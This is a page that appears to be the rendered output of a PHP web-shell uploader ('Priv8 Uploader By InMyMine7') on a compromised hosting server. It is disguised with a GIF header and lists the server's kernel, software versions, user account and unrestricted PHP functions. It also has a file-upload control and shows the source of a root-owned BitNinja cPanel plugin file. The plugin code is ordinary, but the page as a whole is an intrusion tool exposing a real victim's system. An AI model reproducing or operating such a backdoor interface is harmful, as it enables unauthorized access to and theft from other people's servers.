GIF89a;

Priv8 Uploader By InMyMine7

Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
HEX
HEX
Server: Apache/2.4.53 (Unix) OpenSSL/1.0.2k-fips
System: Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User: vacationcoursesc (1031)
PHP: 7.3.28
Disabled: NONE
Upload Files
File: //root/cgi/addon_bitninja.cgi
#!/usr/local/cpanel/3rdparty/bin/php-cgi
<?php
include '/usr/local/cpanel/whostmgr/docroot/addon_plugins/bitninja/Bitninja.php';
if (isset($_POST['getLogs'])) {
    if (isset($_POST['prevLogs'])) {
        $logs = Bitninja::getAndBuildLogs(false, json_decode($_POST['prevLogs'], true));
    } else {
        $logs = Bitninja::getAndBuildLogs(true, null);
    }

    echo $logs;
} else {

    if (isset($_POST['start'])) {
        Bitninja::start();
    } elseif (isset($_POST['stop'])) {
        Bitninja::stop();
    } elseif (isset($_POST['check_gl_ip'])){
	echo  Bitninja::checkGL($_POST['check_gl_ip']);
	exit(0);
    }

    ?>
    <link rel="stylesheet" type="text/css" href="/addon_plugins/bitninja/css/style.css">
    <script type="text/javascript" src="/addon_plugins/bitninja/js/jquery-2.1.4.min.js"></script>
    <script type="text/javascript" src="/addon_plugins/bitninja/js/main.js"></script>

    <div id="pageheader">

        <div class="topboxmargin"></div>
        <div id="doctitle">
            <h1><span><img src="/addon_plugins/bitninja/img/logo.png" alt=""></span></h1>
            <h3>Version: <?= Bitninja::getVersion() ?></h3>
            <h3>License: <?= Bitninja::getLicenseInfo()?></h3>
        </div>
    </div>

    <div id="menu">
        <table style="float: left;"> 
            <tbody>
                <tr>
                    <td><b>Actions:</b></td>
                    <td>
                        <?php if (Bitninja::isRun()) { ?>
                            <button onclick="stop();">Stop BitNinja</button>
                        <?php } else { ?>
                            <button onclick="start();">Start BitNinja</button>
                        <?php } ?>
                    </td>
                    <td>
                        <div class="ajaxLoader"></div>
                    </td>
                </tr>
            </tbody>
        </table> 
        <?php if (Bitninja::isRun()) { ?>
            <div id="action" class="pause tooltips" onclick="pauseLog(this);" data-placement="left" data-toggle="tooltip" data-original-title="Pause"></div>
        <?php } ?>
    </div>
    <br>
    <div id="logContainer" class="logs" style="min-height: 500px; <?= !Bitninja::isRun() ? 'display: none;' : '' ?>">
        <div>
        </div>
    </div>
    <form method="POST" class="check-greylist">
	    <input type="text" placeholder="Ip address" name="check_gl_ip">
	    <input type="submit" onclick="checkGL(this); return false;"  value="Check on Greylist" style="margin-left: 5px;">
	    <div id="response"></div>
    </form>
    <script type="text/javascript">
        prevLogsData = null;
    <?php if (Bitninja::isRun()) { ?>
            $(document).ready(function () {
                logEvents = setInterval(function () {
                    getLogs();
                }, 500);
            });
    <?php } ?>

    </script>


    <?php
}

?>